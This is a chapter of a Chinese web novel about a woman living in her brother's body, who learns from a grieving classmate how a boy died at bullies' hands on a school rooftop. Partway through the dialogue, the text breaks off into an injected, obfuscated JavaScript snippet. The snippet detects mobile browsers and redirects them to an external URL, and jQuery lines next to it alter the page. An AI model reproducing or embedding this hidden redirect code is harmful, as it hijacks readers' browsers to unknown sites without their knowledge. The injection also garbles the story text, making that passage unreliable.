课下，沈知窈跟着她走到走廊上。
何老师背对着阳光站在窗边看着她，“你刚才说那些，不是高中生该知道的。”
沈知窈客气地嘿嘿笑了两声，有点尴尬。
何老师看着她，那眼神很复杂，像在看一个谜：“你最近变化挺大。”
沈知窈心想，那确实大，此沈渡舟非沈渡舟。
“下周学校有个历史知识竞赛，每个班要推一个人，你来。”
沈知窈抬头，愣了一下：“我？”
何老师点了点头：“不光这个，一个月后区里有辩论赛，题目是‘门阀制度对古代中国的影响是正面大于负面还是负面大于正面’，我想让你去。”
沈知窈张了张嘴，有点震惊。
何老师看着她，慈祥的眼神里闪着一点光：“你刚才说的那些，够用了。你有这个底子，回头我给你几本书，你再看一遍，肯定能拿个好成绩。”
交代完，何老师就离开了。
沈知窈站在原地，看着何老师的背影消失在楼梯拐角。阳光从窗户斜斜地照进来，落在地板上，把那一片照得发白，能看见空气里浮着的细小灰尘，慢悠悠地飘着，纷纷扰扰的，像一些无处可去的念头。
不是怀疑也不是试探，给沈知窈的感觉是，像走了很远的路，在天快黑的时候又累又乏，却突然看见荒凉的尽头有一盏灯。
沈知窈站在那里，心里涌起一阵说不清的滋味。她曾无数次设想，自己一觉醒来，突然发现自己梦回初高中，她会做什么。
她只是幻想，却从没想到真的有这么一天。
何老师不知道她是谁，不知道她身体里装着的是另一个人。何老师只是看见一个突然开了窍的学生，看见那些本不该从这个年纪的人嘴里说出来的话，然后她什么都没问，只是说，你来。
她没说“你怎么知道的”，没说“你是不是作弊”，没觉得这个学生不正常，也没有戴着有色眼镜看她。
何老师只说，你来——这种信任，沈知窈很久没尝过了。
她想起自己当年读研究生的时候，也有过这样的老师。那时候她做什么都有人点头，说什么都有人听，她以为自己会一直那样走下去。
后来出了那件事，那些点头的人把头扭开了，那些听的人耳朵也聋了。她一个人在泥潭里爬了很久，爬出来的时候，身上那股劲已经磨得差不多了。
她没想到，会在沈渡舟的学校里，用沈渡舟的身体，重新尝到这种滋味。
年轻真好啊！
她低下头，看了看自己的手——沈渡舟的手，骨节分明，手背上有几道细小的划痕，虎口处还有一道淡淡的疤。
这双手打过架，抽过烟，也在那些她不知道的夜里，祭奠过死去的好朋友。
她把那双手攥成拳头，又松开。
下午的阳光从窗户照进来，落在她身上暖洋洋的。走廊上有学生跑过，书包拍打着后背，脚步声噼里啪啦响。有人在喊“等等我”，有人在笑，那些声音混在一起，让人非常羡慕。
放学的时候，沈知窈在校门口被一个人拦住了。
是个女生，沈知窈不认识。瘦瘦的，短发，眉眼长得挺清秀，穿着一件洗得发白的校服，袖口磨破了。
她站在校门口那棵老槐树底下，手里攥着一个塑料袋，看见沈知窈出来，快步走过来，挡在她面前。
沈知窈停下来看着她，那女生也盯着她，眼神冷得像冬天早上的霜，但那冷底下压着别的东西，太满了，压不住，从边边角角渗出来。
“沈渡舟？”
“是我。”
但那女生没说话，就那么盯着她。沈知窈被她看得浑身不自在，那目光像刀子，一下一下刮过来，却不急着落下来。
这个女生胸前挂着走读生的学生证，名字是赵雨桐。
沈知窈没听过这个名字。
“有事？”沈知窈狐疑开口问道。
赵雨桐看着她，眼睛里有东西在动。不是眼泪，是别的什么，比眼泪更坚硬、能称之为恨的东西。
她把手里那个塑料袋往前一递：“这个，你拿着。”
沈知窈低头一看，袋子里装着一个粉色的保温盒，边角磕掉了一块漆，露出底下白色的塑料。
“什么东西？”沈渡舟不确定弟弟和这个女生是什么关系。
不像是情侣，也不像仇家。
赵雨桐没解释，只是把袋子塞进她手里。
“他以前爱吃我妈包的饺子，今天是他的日子，我包了一些，不知道该送哪儿。”
沈知窈伸出的手停了一瞬。
他的日子？小武的日子。
一开始沈知窈没反应过来，突然才悟了这女孩眼里复杂的情感。
她抬起头，看着面前这个女孩。瘦瘦的，短发，眉眼清秀，袖口磨破了，指甲剪得很短，干干净净的，指节上有几个细小的茧子，像是握笔握出来的。
“你怎么知道我在这儿？”
赵雨桐别过脸去，看着那棵老槐树。
“你每天放学都走这条路，我一直都看着你呢。”
沈知窈接过饺子，忐忑地抓紧口袋。
赵雨桐又转过身来：“我跟他从小一起长大，从幼儿园就是同学，小学一个班，初中还是一个班。他家住我楼上，他家阳台和我家阳台对着，晚上写作业的时候，拉开窗帘能看见对方的台灯。”
只可惜，他还没来得及上高中。
她说得很慢，像在说一件很久远的事，久到已经不太记得细节了，只能慢慢想，慢慢往外掏。
“他出事那天早上，我们还一起吃的早饭，他家的油条，我家的豆浆，两家人在楼下碰见了，就拼了一张桌子。他咬了一口油条，说今天的有点硬，我说那你蘸豆浆吃。他就傻兮兮地蘸了，吃得挺香。”
沈知窈站在那里，听着这些话，心里怪别扭的，冷冷地有点发毛。
赵雨桐的声音平平的，没什么起伏，但越是这样，那些话越往心里扎。
“吃完了他先走，说要早点去学校，他走的时候回头看了我一眼，挥了挥手。我说放学等我一起走，他说行。”
“但他没等到放学。”
沈知窈听得喉咙有些发紧。
赵雨桐低下头，看着地上那些被风吹落的黄色槐树叶，那落在地上的叶子干枯得像薯片，踩上去咔嚓响。
“那天的事，你知道吗？”
沈知窈想说知道，也想说不知道，但什么都说不出来。
赵雨桐抬起头，眼睛里那点东西终于兜不住了，汹涌地溢出来，顺着脸颊往下流。但她没出声，就是流着泪，一下一下用手背擦掉。
“他被人骗上天台上的时候，你为什么不来救我们？你来的时候，一切都已经晚了。”
沈知窈的喉咙像被什么东西堵住了，她声音有些发涩：“我……”
赵雨桐的声音开始发抖，但她压着，压得很低：“你是不是也看到了？”
沈知窈不是沈渡舟，她是沈知窈。她不知道那天她弟在哪儿，她不知道她弟当时在想什么，她不知道她弟这些年每天晚上做的那些梦。
但她弟日记里写过，周磊也说过，那时候沈渡舟也在教学楼里，在楼下，在任何一个赶不及的地方——那天究竟发生了什么。
“我在天台的楼梯间。”赵雨桐哽咽着说，“我亲眼看到了——我弄出动静了，但是他们没发现我。”
赵雨桐看着她，看着她那张脸——她弟的脸，那目光像在确认什么，又像在寻找什么。
沈知窈愣住了，难道这就是李浩一直针对沈渡舟的症结所在！
沈渡舟也在现场，但不是目击证人，他并没有亲眼看到小武是不是被推下来的。
李浩他们察觉到现场有其他人在，撤离时只碰到了沈渡舟，因而理所应当认为，是沈渡舟在现场。
赵雨桐抬起手，狠狠抹了一把脸。
“我在天台上，我躲在楼梯口那个拐角后面，不敢出来。”
她的声音终于开始抖，压不住了。
“我看见他们把他堵在那儿……看见他往后退，退到栏杆边上。看见他回头看，下面那么高……我还看见李浩走过去了。”
她停住了。
风吹过来，把那棵老槐树的叶子吹得沙沙响。有几片落在她们脚边，又打着旋儿飘走了。
“他掉下去的时候，眼睛是看着我的。”赵雨桐说，声音轻得像梦话，“他看见我了。他嘴动了动，像是在喊我名字，然后他就掉下去了。”
沈知窈的心里像被什么东西攥住了，一下一下收紧。
这些话，她弟也说过，小武躺在地上，眼睛还睁着，看着人。只是她弟看见的是一双眼睛，不知道那眼睛在看谁。
沈知窈只当是沈渡舟精神出毛病了，并没有深究。
现在她知道了。
“你那时候为什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345261|199519||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不出来？”沈知窈问，声音轻得像羽毛。
赵雨桐看着她，眼睛红红的，但没再哭。
“我怕。”她说，“连警察和学校都不管……我怕他们，他们那么多人，我出来能干什么？陪着一起死吗？”
“我在那儿站了很久……等他们都跑了，我才下去。他已经躺在地上了，你也赶过去了，周围围了一圈人。我挤不进去，就站在外面，从人缝里看见他的手。手指还在动，一下一下的，像想抓住什么。”
“我这些年，我每天做梦都梦见他。”赵雨桐说，“他站在天台上，背对着我。我喊他，他不回头。然后他往下倒，一直倒，一直倒……就是落不到地上。我一直伸手想去够他，够不着，总是差一点。”
风吹过来，把她的头发吹乱了。她没闲工夫搭理，就那么佝偻着背站着。
“你知道我为什么还在这学校待着吗？我早就不想待了。但我走不了。每次走到那栋楼底下，我就走不动了。好像有什么东西拽着我，让我看着那儿，看着那个他掉下来的地方。”
“我知道不关你的事。”她说，“我知道是李浩害的他，但是……我知道你也被欺负，我都知道。”
赵雨桐顿了顿。
“但我有时候还是会想，要是那天你在，会不会不一样？要是你上去帮他，会不会他就不会死？”
沈知窈站在那里，无法回答这个问题。她也想过，用她弟的眼睛想过无数遍。
但那种问题没有答案，永远不会有。
赵雨桐低下头，看着自己那双磨破了袖口的手。
“我今天来，其实没别的意思。”她说，“我就是想找个人说说。三年了，我从来没跟任何人说过这些。今天是他生日，我不想一个人待着。”
她抬起头，看着沈知窈。
“你知道他出事前一天晚上跟我说什么吗？”
沈知窈摇头。
赵雨桐说：“他说，他有点害怕。说李浩他们最近盯他盯得紧。我说那你别一个人走，跟我一起。他说好。然后他笑了笑，说没事，有你在，我不怕。”
沈知窈想起沈渡舟日记里那行字——如果有一天我死了，别怪我。后半句她一直都不明白，什么叫“我不是故意的，我只是不知道怎么活。”
原来是这个意思。
她想起她弟画的那些画，一遍一遍画着小武，藏在桌洞最底下。
原来不是一个人，原来有人和他一样，也在等，也在怕，也在梦里一遍一遍看见那个画面。
原来那些没说完的话，那些没来得及做的事，不是只有她弟一个人扛着。
赵雨桐看着她，眼睛里的泪已经干了，只剩下一层单薄的红。
“我走了，下个月我就要搬走了。”她说，“这个留给你，你保管好，不用还给我了。”
沈知窈抱着保温盒站在原地。
走了几步赵雨桐又停下来回过头。
“那个饺子，你吃了吧，得趁热。”她说，“他以前总说想吃我妈包的饺子，后来再也没吃上。”
沈知窈站在原地，看着那个方向，很久很久，手里那个塑料袋沉甸甸的，坠得手指发酸。
夕阳把她的影子拉得很长，落在地上，黑黢黢的，像一道裂开的缝。
她想起刚才赵雨桐那双带着血丝的眼睛，像什么东西碎过又重新拼起来。拼是拼起来了，但那些裂缝还在。
那些细节，没人知道，日记里也不会写，另外，哪个正经人会写日记呢，对吧？
凉飕飕的风又吹过来，她把那个塑料袋抱紧在怀里。
校门口那棵老槐树还在，叶子黄了大半，风一吹，沙沙响。树干很粗，树皮皴裂，刻满了时间。
赵雨桐说的话还在耳边停留，一字一字，沉甸甸地压在心上，像一块巨石。那些细节像针一样扎进来，让她看见了一个活生生的小武。会吃油条，会害怕，会笑着说“有你在，我不怕”。
她想起她弟，想起他这些年每天晚上做的那些梦。梦里的小武是不是也这样，在某个瞬间掉下去，一直掉，一直掉，落不到地上。
她低下头，看着手里那个保温盒，突然看到保温盒下边儿貌似还有别的东西。
沈知窈狐疑地伸手捞出来，竟然是一个U盘。
阳光正在落下去，把半边天烧成暗红色。那红色铺天盖地，像血，又像火，落在操场上，落在教学楼顶上，落在那些三三两两往家走的人身上。